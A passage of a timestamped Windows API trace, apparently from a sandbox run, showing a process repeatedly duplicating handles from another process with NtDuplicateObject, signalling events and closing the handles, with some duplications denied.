NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x23c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.308] ResetEvent (hEvent=0x114) returned 1 [0259.308] SetEvent (hEvent=0x110) returned 1 [0259.308] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.308] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.308] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.308] NtClose (Handle=0x1c4) returned 0x0 [0259.308] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x240, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.308] ResetEvent (hEvent=0x114) returned 1 [0259.308] SetEvent (hEvent=0x110) returned 1 [0259.309] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.309] NtClose (Handle=0x1c4) returned 0x0 [0259.309] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x244, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.309] ResetEvent (hEvent=0x114) returned 1 [0259.309] SetEvent (hEvent=0x110) returned 1 [0259.309] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.309] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.309] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.310] NtClose (Handle=0x1c4) returned 0x0 [0259.310] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x248, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.310] ResetEvent (hEvent=0x114) returned 1 [0259.310] SetEvent (hEvent=0x110) returned 1 [0259.310] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.310] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.310] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.310] NtClose (Handle=0x1c4) returned 0x0 [0259.310] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x24c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.310] ResetEvent (hEvent=0x114) returned 1 [0259.310] SetEvent (hEvent=0x110) returned 1 [0259.311] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.311] NtClose (Handle=0x1c4) returned 0x0 [0259.311] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x250, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.311] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x254, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.311] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x258, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.311] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x25c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.311] ResetEvent (hEvent=0x114) returned 1 [0259.311] SetEvent (hEvent=0x110) returned 1 [0259.347] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.347] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.347] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.347] NtClose (Handle=0x1c4) returned 0x0 [0259.347] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x260, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.347] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x264, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.347] ResetEvent (hEvent=0x114) returned 1 [0259.347] SetEvent (hEvent=0x110) returned 1 [0259.348] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.348] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.348] NtClose (Handle=0x1c4) returned 0x0 [0259.348] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x268, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.348] ResetEvent (hEvent=0x114) returned 1 [0259.348] SetEvent (hEvent=0x110) returned 1 [0259.349] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.349] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.349] NtClose (Handle=0x1c4) returned 0x0 [0259.349] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x26c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x0) returned 0xc0000022 [0259.349] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x270, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.349] ResetEvent (hEvent=0x114) returned 1 [0259.349] SetEvent (hEvent=0x110) returned 1 [0259.349] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.349] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.349] NtClose (Handle=0x1c4) returned 0x0 [0259.349] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x274, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.349] ResetEvent (hEvent=0x114) returned 1 [0259.349] SetEvent (hEvent=0x110) returned 1 [0259.350] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.350] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.350] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.350] NtClose (Handle=0x1c4) returned 0x0 [0259.350] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x278, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.350] ResetEvent (hEvent=0x114) returned 1 [0259.350] SetEvent (hEvent=0x110) returned 1 [0259.350] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.351] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.351] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.351] NtClose (Handle=0x1c4) returned 0x0 [0259.351] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x27c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.351] ResetEvent (hEvent=0x114) returned 1 [0259.351] SetEvent (hEvent=0x110) returned 1 [0259.351] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.351] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.351] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.351] NtClose (Handle=0x1c4) returned 0x0 [0259.351] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x280, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.351] ResetEvent (hEvent=0x114) returned 1 [0259.351] SetEvent (hEvent=0x110) returned 1 [0259.352] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.352] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.352] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.352] NtClose (Handle=0x1c4) returned 0x0 [0259.352] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x284, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.352] ResetEvent (hEvent=0x114) returned 1 [0259.352] SetEvent (hEvent=0x110) returned 1 [0259.352] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.353] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.353] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.353] NtClose (Handle=0x1c4) returned 0x0 [0259.353] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x288, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.353] ResetEvent (hEvent=0x114) returned 1 [0259.353] SetEvent (hEvent=0x110) returned 1 [0259.353] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.353] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.353] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.353] NtClose (Handle=0x1c4) returned 0x0 [0259.353] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x28c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.353] ResetEvent (hEvent=0x114) returned 1 [0259.353] SetEvent (hEvent=0x110) returned 1 [0259.354] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.354] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.354] NtClose (Handle=0x1c4) returned 0x0 [0259.354] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x290, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.354] ResetEvent (hEvent=0x114) returned 1 [0259.354] SetEvent (hEvent=0x110) returned 1 [0259.354] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.354] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.355] NtClose (Handle=0x1c4) returned 0x0 [0259.355] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x294, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.355] ResetEvent (hEvent=0x114) returned 1 [0259.355] SetEvent (hEvent=0x110) returned 1 [0259.355] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.355] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.355] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.355] NtClose (Handle=0x1c4) returned 0x0 [0259.355] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x298, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.355] ResetEvent (hEvent=0x114) returned 1 [0259.355] SetEvent (hEvent=0x110) returned 1 [0259.356] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.356] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.356] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.356] NtClose (Handle=0x1c4) returned 0x0 [0259.356] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x29c, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.356] ResetEvent (hEvent=0x114) returned 1 [0259.356] SetEvent (hEvent=0x110) returned 1 [0259.357] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.357] NtClose (Handle=0x1c4) returned 0x0 [0259.357] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2a0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.357] ResetEvent (hEvent=0x114) returned 1 [0259.357] SetEvent (hEvent=0x110) returned 1 [0259.357] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.357] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.357] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.357] NtClose (Handle=0x1c4) returned 0x0 [0259.357] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2a4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.358] ResetEvent (hEvent=0x114) returned 1 [0259.358] SetEvent (hEvent=0x110) returned 1 [0259.358] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.358] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.358] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.358] NtClose (Handle=0x1c4) returned 0x0 [0259.358] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2a8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.358] ResetEvent (hEvent=0x114) returned 1 [0259.358] SetEvent (hEvent=0x110) returned 1 [0259.359] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.359] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.359] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.359] NtClose (Handle=0x1c4) returned 0x0 [0259.359] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2ac, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.359] ResetEvent (hEvent=0x114) returned 1 [0259.359] SetEvent (hEvent=0x110) returned 1 [0259.359] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.359] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.359] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.359] NtClose (Handle=0x1c4) returned 0x0 [0259.359] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2b0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.359] ResetEvent (hEvent=0x114) returned 1 [0259.359] SetEvent (hEvent=0x110) returned 1 [0259.360] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.360] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.360] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.360] NtClose (Handle=0x1c4) returned 0x0 [0259.360] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2b4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.360] ResetEvent (hEvent=0x114) returned 1 [0259.360] SetEvent (hEvent=0x110) returned 1 [0259.360] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.361] NtClose (Handle=0x1c4) returned 0x0 [0259.361] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2b8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.361] ResetEvent (hEvent=0x114) returned 1 [0259.361] SetEvent (hEvent=0x110) returned 1 [0259.361] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.361] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.361] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.361] NtClose (Handle=0x1c4) returned 0x0 [0259.361] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2bc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.361] ResetEvent (hEvent=0x114) returned 1 [0259.361] SetEvent (hEvent=0x110) returned 1 [0259.362] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.362] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.362] NtClose (Handle=0x1c4) returned 0x0 [0259.362] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2c0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.362] ResetEvent (hEvent=0x114) returned 1 [0259.362] SetEvent (hEvent=0x110) returned 1 [0259.362] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.362] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.363] NtClose (Handle=0x1c4) returned 0x0 [0259.363] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2c4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.363] ResetEvent (hEvent=0x114) returned 1 [0259.363] SetEvent (hEvent=0x110) returned 1 [0259.363] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.363] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.363] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.363] NtClose (Handle=0x1c4) returned 0x0 [0259.363] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2c8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.363] ResetEvent (hEvent=0x114) returned 1 [0259.363] SetEvent (hEvent=0x110) returned 1 [0259.364] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.364] NtClose (Handle=0x1c4) returned 0x0 [0259.364] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2cc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.364] ResetEvent (hEvent=0x114) returned 1 [0259.364] SetEvent (hEvent=0x110) returned 1 [0259.364] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.364] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.364] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.364] NtClose (Handle=0x1c4) returned 0x0 [0259.365] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2d0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.365] ResetEvent (hEvent=0x114) returned 1 [0259.365] SetEvent (hEvent=0x110) returned 1 [0259.365] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.365] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.365] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.365] NtClose (Handle=0x1c4) returned 0x0 [0259.365] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2d4, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.365] ResetEvent (hEvent=0x114) returned 1 [0259.365] SetEvent (hEvent=0x110) returned 1 [0259.366] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.366] NtClose (Handle=0x1c4) returned 0x0 [0259.366] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2d8, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.366] ResetEvent (hEvent=0x114) returned 1 [0259.366] SetEvent (hEvent=0x110) returned 1 [0259.366] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.366] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.366] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.366] NtClose (Handle=0x1c4) returned 0x0 [0259.366] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2dc, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.366] ResetEvent (hEvent=0x114) returned 1 [0259.366] SetEvent (hEvent=0x110) returned 1 [0259.367] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.367] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.367] NtClose (Handle=0x1c4) returned 0x0 [0259.367] NtDuplicateObject (in: SourceProcessHandle=0x1c8, SourceHandle=0x2e0, TargetProcessHandle=0xffffffff, TargetHandle=0x15ffae0, DesiredAccess=0x80000000, HandleAttributes=0x0, Options=0x0 | out: TargetHandle=0x15ffae0*=0x1c4) returned 0x0 [0259.367] ResetEvent (hEvent=0x114) returned 1 [0259.367] SetEvent (hEvent=0x110) returned 1 [0259.367] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0x1f4) returned 0x0 [0259.367] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aeea0 [0259.368] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aeea0) returned 1 [0259.368] NtClose (Handle=0x1c4) returned 0x0 